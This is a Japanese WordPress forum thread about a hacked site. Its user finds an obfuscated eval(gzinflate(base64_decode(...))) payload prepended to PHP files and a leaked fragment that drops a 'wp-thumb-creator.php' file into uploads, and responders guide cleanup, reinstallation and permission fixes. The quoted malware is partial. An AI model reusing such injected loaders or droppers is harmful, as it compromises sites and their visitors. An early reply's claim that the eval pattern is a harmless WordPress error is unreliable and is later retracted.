ダッシュボードが表示できなくなってしまいました。
-
WordPressでHPを作成しています。
先週までは問題なく使えていたのですが。
今日ログインしようとして、IDとパスを入れると、
/wp-admin/
というurlで止まってしまい、真っ白な画面のままで、ダッシュボードが表示できません。
ブラウザーの戻るボタンでもどると、
ブラウザーの上の方に、
ユーザー名、新規追加、コメント、外観、更新
というツールバーは出ているので、ログイン自体は出来ているようです。
しかし、ユーザーのところのダッシュボードも、新規追加も。
どれも、押すと真っ白な画面になってしまいます。ブラウザーも、Google chrome、IE8でダメで。
試しに、iPadのsafariも試しましたが、ダメでした。さらに、プロバイダーの線も疑って、iPhone4の3G接続からsafariで試してみましたが。
やはり、ログインのあと真っ白になってしまいます。現在、HPを閲覧すること自体はなんの問題もなく出来ているようです。
ただ、管理画面に入れないので、記事の投稿などが全くできません。なにか解決方法はないでしょうか。
よろしくお願いします。
-
追加ですが、
iPhoneアプリのWordPressの編集アプリ(公式)
を使うと、記事の投稿画面が表示されました。ただ、ずっと以前からなのですが。
必ず、「エラー」「不正なデーターが含まれています。」と出るため、インストールしているだけで、投稿したり、編集したりしたことはないんですが。それとよくみると、最近の投稿は表示されず、少し前の投稿しか表示されていないようです。
よくみるとHPの最下部に
“);$dir = ABSPATH. “wp-content/uploads/”;mkdir($dir, 0777, true);$f = fopen($dir . “wp-thumb-creator.php”, “w+”);fwrite($f, $str);fclose($f);?>
というのが出ていました。先週まで動いていたpluginをかたっぱしから外したところ、ダッシュボードを表示できるように放ったのですが。
表示が、10年前のHTMLの直打ちで作ったような感じになってしまっています。
最初は、themes.phpだけがおかしかったので、ftpでthemes.phpだけを、wordpress3.1.3の圧縮ファイルの中の物から上書きしました。
それで、一応うまくいっていたのですが。
今朝になると、今度は、管理画面全てが、HTMLの直打ちで作ったみたいな画面になってしまいました。
/wp-admin/index.phpを見てみると、
昨日のthemes.phpのように
phpのあたまに当初はなかった<?php /*019bff1d2a9d0c5f794357e98abeb92f*/ eval(gzinflate(base64_decode(‘DdQ1rsUIAkTR5Uy3HJhJExmfmTkZmZnZq5+fl25UOuWVDv/UXztVQ3qU/2TpXhLY/4oyn4vyn//whSjypyszNs/gwKtXPOfNHRKPxba7iDMmGwWsLu2XacRP4LItyCJ3oGINJzbU
中略
oN4x62JNKRRwSjP1oHyl0/ec28lBmE4Idcyv4GuBI2hwaAQOn9zdHb5oVDYu0VjlVnnOlgf8yaYfXP6bRor28uNBPCN+if62Snhq4A1IgmEv+AGkzKjiymwDJwEouhwubpB18/Hj66JIMr0hnJs+j49xG3SXZFmBjxyv0wMUUlT6lyvnozRtR+iM/+DlpgcRWKLNXgnG7enxybQ0PuOSr7cVDtG3VTqnPLym9VgiBIfjQAViB4W//5999///t/’)));?>
こういったものが頭に入っているようです。
勝手に追加された部分ですが、コードが分からないように難読化されていますね。
どんなコードが隠れているのかが怖いところですが、そもそも時間が経ったら勝手に追加されていたとは奇妙です。
そう言った悪さをするウイルスやプラグインがあるかは知りませんが、覚えのない変更が発生している点は、少し怖いように思います。
管理に使っているPCのウイルスチェックと、サイトの一時的な停止くらいはした方が良いかもしれません。
書かれている状況があまりにも中途半端なので、中々回答を付けづらかったのですが、
1)使っているWordPressのバージョンはいくつですか?
途中で、3.1.3の圧縮ファイルの中の物から上書きしたと書いているところから3.1.3?2)「先週までは問題なく使えていたのですが」と書かれていますが、普通に考えて突然おかしくなることはまずありません。「急に変になった」と書かれている多くの方が、質問しているうちに、「そういえば、こんなことしました」とか「○×をインストールしました」とか、結局は突然なったわけではないことが明るみに出ます。おかしくなる前、最後に何をしたのか落ち着いて思い出して書いてください。
3)使っているテーマは何ですか?
途中でファイルを上書きするなどの作業をされてしまっているので今更感は否めませんが、デフォルトテーマでも同じ現象が起きたのでしょうか?
もしかしてテーマをカスタマイズしませんでしたか?その他にも、慌てていることは十分にわかりますが、文章からしか判断できない第三者に助けを求められるのであれば、その文章での説明をもう少し詳しく書いていただきたく思います。
また、ファイルを上書きするなど、原因がよくわからないうちに色々と弄り回すと返って収集がつかなくなることもあるので注意しましょう。eval(gzinflate(base64_decode(
は、基本的にWordPressから出ているエラーのはずなので、ウィルス系やサーバの乗っ取りといった最悪の事態はほぼないと思います。
gzinflateのエラーでは、たとえばWordPressのバージョンアップ時に正常終了しなかった場合に発せられることがあるようです。この場合、手動バージョンアップすることで修復できた報告もありますが、先週まで使えていたということなので、バージョンアップのミスということではないでしょう。
あるいは、wp-includesの中にあるhttp.phpを上書きしてみたら直ったという報告もありますが、http.php自体にgzinflateの設定はないようです。gzinflateは、同じwp-includes内のclass-http.php、class-simplepie.php辺りに書かれていますが、いずれにせよ、バージョンアップを行ったらおかしくなったということではないようなので、別の問題でしょう。
ちなみに、現時点でも全てのプラグインは停止しているんですよね? もしかすると、プラグインに起因する問題であった場合は、停止だけでなく削除(プラグインによっては有効化していなくても影響力を持つものがあるため)して確かめたほうがいいでしょう。ただ、既に一部ファイルを上書きされてしまっているので(それが正しく上書きされていれば問題にはならないと思いますが)、それによって別の問題に発展しないことを祈ります。
また、上でテーマを弄らなかったか? とお聞きしたのは、「WordPressのフッターに暗号化が・・・そんな時には」という事例もあるようだからです。
ほかにも、「wordpress gzinflate」をキーワードにしてググってみると、沢山の情報に出くわしますから、うまく状況の説明ができないようでしたら、ご自身で一度落ち着いて調べてみてはいかがですか?
いずれにしても、書かれている内容からだけでは断定できませんが、ウィルスなどの最悪のケースではないと思うので、冷静に対処しましょう。
・・・と書いている途中で新しい書き込みがあったので、改めて確認します。
全てのphpの頭に謎のコードを埋め込まれたようです。
というのは、実際にPHPファイルに埋め込まれていたんですか? だとしたら、前言撤回で危ないことになっている可能性ありますね。
ブラウザで見たらコードが表示されたということで、実際にPHPファイルに埋め込まれたわけではないと思うのですが、全てのPHPの頭と書かれていますが、本当に全てのPHPファイルを実際に開いて確認したんですか???
ちょっと理解できない現象ですね・・・
この日本のフォーラムの過去のトピックにもいくつか同じような質疑応答がみられました。
古いトピックですが、「PHPファイルに不正なコードが埋め込まれる」は該当しませんか?
つまり、wp-config.phpに
eval(gzinflate(base64_decode(
の記述がありませんか?
わたしの書いた内容に対する回答はまだいただいておりませんが、もし、テーマを弄ったわけでもなく、プラグインを全部止めたり削除したり、テーマをデフォルトに変えたり・・・といろいろしても現象が収まらないとしたら、wp-config.phpが書き込み可能になっていて、そこに書き込まれた可能性はあるかもしれません。確認してみてください。
chestnut_jpさん。
ありがとうございます。> eval(gzinflate(base64_decode(
の記述がまさにあります。
ちょうど検索していて、
http://ja.forums.wordpress.org/topic/2619?replies=10
を読み始めたところです。パーミッションの設定をし忘れていました。
これが原因で、phpを書き換えられているのではないかと思っています。wp-config.phpがパーミッションが644などで、書き込み権限が与えられている状態なら、第三者による改竄に他、悪さをするテーマとかプラグインがインストールされている可能性もあるのではないかと思います。
WordPressの管理パスワードとFTPパスワードを変更した上で、テーマやプラグインも確認された方が良いでしょう。
気持ちの悪い話ですが、とりあえず、状況が分かり、これで解決できる状態になったとは思います。
chestnut_jpさん
redcockerさんありがとうございました。
すべてのphpに、
eval(gzinflate(base64_decode(なんたらかんたらの記述が追加されてしまったので、
/wp-content/
以外のすべてを削除して、
/wp-content/plugins
と
/wp-content/themesを全部削除して
WordPressはサーバーのphpが5.1.6なので、
3.1.4をftpし直し。*.phpをパーミッション705で
wp-config.phpを444にしました。パスワードも変更しておきました。
これでしばらく、様子を見てみます。
ありがとうございました。
WordPressを入れなおしたところ、iPhoneアプリのWordPressでも不正なデーターという表記が出なくなりました。
iPhoneアプリで不正なデーターと言い出した頃からおかしなコードを入れられていたのかもしれません。既に[解決済み]にされていますが、まだ議論が続きそうなので、現象自体は解決されたようですが、その原因などが全く不明のままなので、一度[解決済み]を外していただけるとご自身がさらに書き込みを続けておられることと、それに対して回答をつける側もやりやすくなります。
まず、WordPress3.1.4に入れ替える際、「wp-content」だけを残された理由は何ですか?
最初わたしは単なるアップデートミスでのことかと思っていましたが、結果的に大きな問題になっているようなので、wp-contentだけ残すのではなく、全て削除して新たに3.1.4を入れなおしたほうがいいと思います。
今回のケースには当てはまらないかもしれませんが、すべてのPHPファイルにデータの書き込みがみられたほど大掛かりなことだったとすると、最悪のケースではデータベース内にも何か仕組まれてしまっている可能性も少なからずあります。
phpAdminなどでデータベースを一度ダウンロードし、中身をすべて検査するだけの時間の余裕と力量がおありになるならいいのですが、そうでない場合は、データベースも削除して最初から作り直すくらいのほうがいいと思われます。
wp-config.phpを444にされたのはいいとして、phpファイルを705にした理由は何ですか?
サーバ環境が書かれていないのでわかりませんが、phpファイルは705にしないと動作しない環境ですか?
今後同じようなことが発生しないためにも、以下の情報を教えてください。
1)ご利用になられているサーバ環境(レンタルサーバならその名称を含めて)
2)ご利用になられていたテーマ(利用はしていないがインストールはしているというものがあればそれも含めて)
3)ご利用になられていたプラグイン(有効化していないがインストールだけはしているというものがあればそれも含めて)特に2)3)では、WordPress公式のテーマやプラグインのダウロードページ(サイト)からではない場所から取得されたものがある場合、それらに今回の原因が含まれている可能性があります。
また、
4)eval(gzinflate(base64_decode(…. をデコードして、何が書かれていたか教えてください。
上記4)については、既に削除してしまったからわからないということであれば仕方ありませんが、実際には何が仕組まれてしまったのかを把握することも解決には不可欠な要素のひとつだと思います。
chestnut_jpさん
> まず、WordPress3.1.4に入れ替える際、「wp-content」だけを残された理由は何ですか?
一番大きかったのはめんどうだからというのが一番です。
これでダメなようであれば、もちろん完全に入れなおしをするつもりではいます。> phpAdminなどでデータベースを一度ダウンロードし、中身をすべて検査するだけの時間の余裕と力量がおありになるならいいのですが、そうでない場合は、データベースも削除して最初から作り直すくらいのほうがいいと思われます。
DBを書きだして、眺めていますが、今のところおかしなコードが組み込まれている部分は発見できていません。
> wp-config.phpを444にされたのはいいとして、phpファイルを705にした理由は何ですか?
WordPress パーミッションでGoogleで検索すると、2.xxがヒットする事が多く、パーミッションの設定を後回しにしてしまったので、今回
WordPress パーミッション 3.1
で検索したところ、さくらインターネットのWordPressのインストール方法という解説部分で*.phpを705にせよという解説がなされたためそれにならいました。
さくらインターネットでは、wp-config.phpは自動生成されるためパーミッションの解説がありませんでしたので、wp-config.phpは先のここのフォーラムの話を参考にしました。> サーバ環境が書かれていないのでわかりませんが、phpファイルは705にしないと動作しない環境ですか?
705でなくとも動いてはいます。
> 1)ご利用になられているサーバ環境(レンタルサーバならその名称を含めて)
Web Arena Suite X
> 2)ご利用になられていたテーマ(利用はしていないがインストールはしているというものがあればそれも含めて)
利用中のものは
http://www.mono-lab.net/wordpress-theme/154/
これ以外にもインストールしていたものはあるにはあるんですが、おかしくなった時点で削除してしまったので、正確には分からなくなってしまいました。
> 3)ご利用になられていたプラグイン(有効化していないがインストールだけはしているというものがあればそれも含めて)
dynamic-content-gallery-plugin
flexible-upload
google-maps-for-WordPress
FSV001WTB005
headspace2
lightbox-gallery
nextgen-gallery
stats
wp-multibyte-patch
yet-another-related-posts-plugin
manage_shortcodes
statpress
wptouch
counterizeii.3.0.1
all-in-one-seo-packです。
> 特に2)3)では、WordPress公式のテーマやプラグインのダウロードページ(サイト)からではない場所から取得されたものがある場合、それらに今回の原因が含まれている可能性があります。
テーマは、公式ではないところからDLしたものが多いです。
怪しくなった時点で真っ先に削除してしまったので。思い出しながら、探してみます。
> 4)eval(gzinflate(base64_decode(…. をデコードして、何が書かれていたか教えてください。
>
> 上記4)については、既に削除してしまったからわからないということであれば仕方ありませんが、実際には何が仕組まれてしまったのかを把握することも解決には不可欠な要素のひとつだと思います。デコードはしてみたんですが、なんなのか分かりかねています。
仕込まれたコードをそのままここに書いても大丈夫でしょうか。
> まず、WordPress3.1.4に入れ替える際、「wp-content」だけを残された理由は何ですか?
一番大きかったのはめんどうだからというのが一番です。
今回のように危険性の高い、特にファイルが何者か、あるいは何かのプラグラムによって書き直されてしまったり書き加えられてしまったりした場合の対応として、「めんどうだから」はいけません。
今回は、aeiicさんのサイト内だけ、しかも、PHPファイルへの追記だけで留まっていたようですが、wp-contentの中には読み書き可能なパーミッションになっているuploadsなどのディレクトリもあるかと思います。書き込み可能になっていれば、当然uploads内に特殊なファイルを誰かあるいは何かが設置することもできますよね。
また、ブラウザで誰かがaeiicさんのブログを見にきた時、仕組まれたものによっては、その閲覧者のブラウザに何かを仕込んでしまうことも考えられます。
つまり、自分は被害者であると同時に加害者にもなり得ることを考えて、対応するなら怪しいであろうものは全て削除してインストールし直すしかありません。
作業が面倒だからという理由で放置することによって、二次被害、三次被害と拡大する可能性、そして、その元凶が自分になってしまう危険性も考えましょう。> wp-config.phpを444にされたのはいいとして、phpファイルを705にした理由は何ですか?
WordPress パーミッションでGoogleで検索すると、2.xxがヒットする事が多く、パーミッションの設定を後回しにしてしまったので、今回
WordPress パーミッション 3.1
で検索したところ、さくらインターネットのWordPressのインストール方法という解説部分で*.phpを705にせよという解説がなされたためそれにならいました。それは、PHPをCGI版として動作させる場合に必要な処理です。
通常、アップロードするとPHPファイルのパーミッションは644になっていると思いますが、そのまま変更する必要はありません。心配なら604にするなどの方法もありますが、第三者に対する書き込み権が付いていない(644には第三者への書き込み権はついていません)状況なら問題はありません。
現に、wp-config.phpもPHPファイルには違いありませんが、705でなくても動作しているでしょう?今回のことでパーミッションに対する意識が高まったことはいいことだと思いますが、自分の環境では何が一番いいのかなどはもう少し勉強されたほうがいいでしょう。
どうしていいかわからない場合は、レンタルサーバをご利用のようですから、プロバイダにお尋ねになるのが一番だと思います。
特に今回は、まだどうして発生したのかわかっていませんから、もしも、パスワードが漏洩していて所謂なりすましによるアクセスがあったとしたら大変ですから、プロバイダに報告のうえ、パスワードは変更したことも伝えておいたほうがいいかもしれません。テーマとプラグインについてですが、お使いになっていたneutralというテーマには問題ないようです。
プラグインについては、全部調べるにはわたしだけだと時間もかかりそうなので少しずつ見ていけたらと思っていますが、ひとつだけ気になることがあります。
WPTouchのバージョンはいくつですか?
aeiicさんがこのフォーラムに登録されたのは7月12日となっていますので、もしかしたら、「パスワードリセット」をお読みになられていなかったりします?
パスワードのリセットは不要ですが、その記事にあるとおり、「AddThis」「WPtouch」「W3 Total Cache」を使っている場合、バージョンによっては悪意のあるコードが仕込まれている危険性があります。
もしかしたら最新版にアップデートしておらず、ちょうどそのコードが仕込まれた版を使っていたがために発生したことかもしれません。
上記記事をよくお読みの上、かつ、上記記事に含まれている、いないに関わらず、新しいバージョンが出ているプラグインがあったら、即刻アップデートしておくことをお勧めします。
プラグインに限らずWordPress本体もアップデートするからには理由があります。その多くは新機能への対応よりもセキュリティ面での改善が主であることが多いので、何をどのようにアップデートしているのかも常に意識しておきましょう。
- トピック「ダッシュボードが表示できなくなってしまいました。」には新たに返信することはできません。